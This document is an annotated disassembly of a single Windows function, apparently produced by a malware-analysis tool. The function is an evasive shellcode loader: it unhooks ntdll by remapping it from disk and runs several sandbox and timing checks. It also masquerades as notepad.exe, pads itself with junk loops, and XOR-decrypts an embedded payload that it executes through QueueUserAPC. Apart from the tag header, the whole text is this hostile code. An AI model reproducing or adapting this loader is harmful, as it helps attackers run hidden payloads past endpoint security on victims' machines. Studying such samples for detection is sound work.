Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x808
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x770], xmm6
mov dword [rbp + 0x7b0], ecx
mov qword [rbp + 0x7b8], rdx
call fcn.140002830
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
je 0x1400019a4
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x550]
mov rax, qword [rbp + 0x6f0]
mov r10, qword [rbp + 0x768]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x6e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6e8]
mov qword [rbp + 0x6c8], rax
mov dword [rbp + 0x764], 0
jmp 0x14000168f
call sub.msvcrt.dll_rand
imul eax, eax, 0xa3
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c40
movq rax, xmm0
mov qword [rbp + 0x698], rax
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x2fd
jle 0x14000164e
mov rax, qword [rbp + 0x6c8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov qword [rbp + 0x6c0], rax
mov word [rbp + 0x762], 0
jmp 0x14000198c
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6c0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x762]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x75c], 0
mov dword [rbp + 0x758], 0
mov ecx, 0x7f4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x754], 0
jmp 0x1400017a2
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x754]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x75c], eax
add dword [rbp + 0x754], 1
cmp dword [rbp + 0x754], 0x1fc
jle 0x140001734
mov dword [rbp + 0x754], 0
jmp 0x14000182a
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x758]
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x6a4]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x1400065b0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e10
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x758], eax
add dword [rbp + 0x754], 1
cmp dword [rbp + 0x754], 0x1fc
jle 0x1400017ba
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x758]
movss xmm1, dword [0x1400065b8]
divss xmm0, xmm1
movss dword [rbp + 0x6ac], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x6ac]
movq rax, xmm3
movq xmm0, rax
call fcn.140003820
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6a8], xmm0
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000197b
mov dword [rbp + 0x518], 0
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x518]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x518]
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x518]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x762]
add eax, 1
mov word [rbp + 0x762], ax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x762], ax
jb 0x1400016c7
mov dword [rbp + 0x750], 0xffffffff
mov ecx, 0xd78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
add dword [rbp + 0x750], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x750]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x690]
add rax, rdx
movsd xmm1, qword [0x1400065c0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x750]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x750]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x690]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x750], 0x1ad
jle 0x1400019bf
mov dword [rbp + 0x51c], 0
mov dword [rbp + 0x74c], 0x118
jmp 0x140001a85
sub dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0
jg 0x140001a7e
mov rax, qword [rbp + 0x700]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x748], 0xffffffff
add dword [rbp + 0x748], 1
call sub.msvcrt.dll_rand
shl eax, 2
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003960
movq rax, xmm0
mov qword [rbp + 0x680], rax
cmp dword [rbp + 0x748], 0x36a
jle 0x140001ab9
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x520]
lea rax, [rbp + 0x51c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x688]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x528]
add rax, 0x3c
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x678]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov ecx, 0
call rax
mov dword [rbp + 0x66c], eax
cmp dword [rbp + 0x66c], 0xffffffff
je 0x140002767
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x658], rax
cmp qword [rbp + 0x658], 0
jne 0x140002767
mov qword [rbp + 0x740], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
je 0x140001cab
mov rax, qword [rbp + 0x650]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x648]
mov r9d, 0x3000
mov r8d, 0x2cf
mov edx, 0
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002767
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x640], rax
cmp qword [rbp + 0x640], 0
jne 0x140002767
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
call rax
mov dword [rbp + 0x634], eax
mov ecx, 0x283
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x638]
call rax
mov dword [rbp + 0x630], eax
mov eax, dword [rbp + 0x630]
sub eax, dword [rbp + 0x634]
cmp eax, 0x251
jbe 0x140002767
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x620], rax
cmp qword [rbp + 0x620], 0
jne 0x140002767
mov qword [rbp + 0x738], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0
je 0x140001e45
mov rax, qword [rbp + 0x618]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x610]
mov r9d, 0x3000
mov r8d, 0x409
mov edx, 0
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
je 0x140002767
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x608]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x600], rax
cmp qword [rbp + 0x600], 0
jne 0x140002767
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5f8], rax
cmp qword [rbp + 0x5f8], 0
je 0x140001f0a
mov rax, qword [rbp + 0x5f8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
mov ecx, 0
call rax
mov dword [rbp + 0x734], eax
cmp dword [rbp + 0x734], 0xffffffff
je 0x140002767
mov ecx, 0x635
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x635
jne 0x140002767
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0xbc8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e8], rax
mov dword [rbp + 0x72c], 0
mov dword [rbp + 0x728], 0
mov dword [rbp + 0x730], 0
jmp 0x140001fca
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x730]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x730], 1
cmp dword [rbp + 0x730], 0x2f1
jle 0x140001f7d
mov dword [rbp + 0x730], 0
mov dword [rbp + 0x730], 0
jmp 0x140002049
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002018
add dword [rbp + 0x72c], 1
jmp 0x140002042
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002042
add dword [rbp + 0x728], 1
add dword [rbp + 0x730], 1
cmp dword [rbp + 0x730], 0x2f1
jle 0x140001fec
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0x90]
lea rdx, [0x140006128]
mov ecx, 0x8f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x6f8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
mov dword [rbp + 0x724], 0xffffffff
add dword [rbp + 0x724], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x373
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c40
movq rax, xmm0
mov qword [rbp + 0x5d8], rax
cmp dword [rbp + 0x724], 0x18f
jle 0x1400020c2
mov rax, qword [rbp + 0x6f8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x5e0]
mov r8d, 0
mov edx, 0x47c
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x5c8]
mov r9, qword [rbp + 0x5d0]
mov r8d, 0x47c
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5c0], rax
mov dword [rbp + 0x5bc], 0
mov ecx, 0x1cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b0], rax
mov dword [rbp + 0x720], 0
jmp 0x140002281
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x5bc], edx
mov edx, dword [rbp + 0x5bc]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x5bc], eax
cmp dword [rbp + 0x5bc], 0x168
jle 0x140002207
mov eax, dword [rbp + 0x720]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x14000227a
cmp dword [rbp + 0x5bc], 0
jns 0x140002234
mov eax, dword [rbp + 0x720]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x14000227a
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x5bc]
movsd xmm0, qword [0x1400065c8]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400065d0]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x720]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x720], 1
cmp dword [rbp + 0x720], 0x72
jle 0x1400021a0
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x700]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a8], rax
lea rdx, [rbp + 0x90]
mov rax, qword [rbp + 0x5c0]
mov r9, qword [rbp + 0x5a8]
mov r8d, 0x47c
mov rcx, rax
call r9
mov dword [rbp + 0x71c], 0
mov dword [rbp + 0x718], 0
mov dword [rbp + 0x714], 0
mov ecx, 0xb84
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a0], rax
mov dword [rbp + 0x710], 0
jmp 0x140002367
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x710]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5a0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x710], 1
cmp dword [rbp + 0x710], 0x2e0
jle 0x14000231a
mov dword [rbp + 0x710], 0
jmp 0x14000247f
mov dword [rbp + 0x574], 0
jmp 0x140002461
mov eax, dword [rbp + 0x710]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5a0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x574]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x5a0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x14000245a
mov eax, dword [rbp + 0x574]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5a0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x570], eax
mov eax, dword [rbp + 0x710]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5a0]
add rax, rdx
mov edx, dword [rbp + 0x574]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5a0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x574]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5a0]
add rdx, rax
mov eax, dword [rbp + 0x570]
mov dword [rdx], eax
add dword [rbp + 0x710], 1
mov eax, 0x2e0
sub eax, dword [rbp + 0x710]
cmp dword [rbp + 0x574], eax
jl 0x140002391
add dword [rbp + 0x710], 1
cmp dword [rbp + 0x710], 0x2e0
jle 0x140002382
mov rax, qword [rbp + 0x5a0]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x18af46ebfa9409af
movabs rdx, 0x95059973493f8078
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xcc973c68145e18a7
movabs rdx, 0x8377c483c2ce7c2a
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x7a65b3715a5f4349
movabs rdx, 0xa261fb4901457de3
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x4397f1a4d8267206
movabs rdx, 0xa57dc40974dc4cc7
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x5c38d8e56e00a5
mov qword [rbp + 0x7f], rax
movabs rax, 0x8a37ce499f2389ae
movabs rdx, 0xdf609e3e0a76ec7a
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xb9ddee1129a840da
movabs rdx, 0xed07ea5a87d0a89a
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xbf52ca6baaacbbcb
movabs rdx, 0x4e91accbfd527356
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov dword [rbp + 0x2f], 0xb0724e
jmp 0x1400025c4
mov eax, dword [rbp + 0x71c]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x718]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x71c]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x718], 0x45
jne 0x1400025b6
mov dword [rbp + 0x718], 0
jmp 0x1400025bd
add dword [rbp + 0x718], 1
add dword [rbp + 0x71c], 1
mov eax, dword [rbp + 0x71c]
cmp eax, 0x31
jbe 0x140002579
mov dword [rbp + 0x71c], 0
jmp 0x1400026ce
mov dword [rbp + 0x70c], 0xffffffff
add dword [rbp + 0x70c], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x584], edx
mov edx, dword [rbp + 0x584]
imul edx, edx, 0x1a
sub eax, edx
mov dword [rbp + 0x584], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x584]
movq xmm0, rax
call fcn.140003b70
movq rax, xmm0
mov qword [rbp + 0x578], rax
cmp dword [rbp + 0x70c], 0xd4
jle 0x1400025e8
mov eax, dword [rbp + 0x71c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5c0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x714]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x71c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5c0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x714], 0x31
jne 0x1400026c0
mov dword [rbp + 0x714], 0
jmp 0x1400026c7
add dword [rbp + 0x714], 1
add dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0x47b
jle 0x1400025de
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x598], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x588], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x598]
mov r9, qword [rbp + 0x590]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x588]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x770]
add rsp, 0x808
pop rbx
pop rsi
pop rdi
pop rbp
ret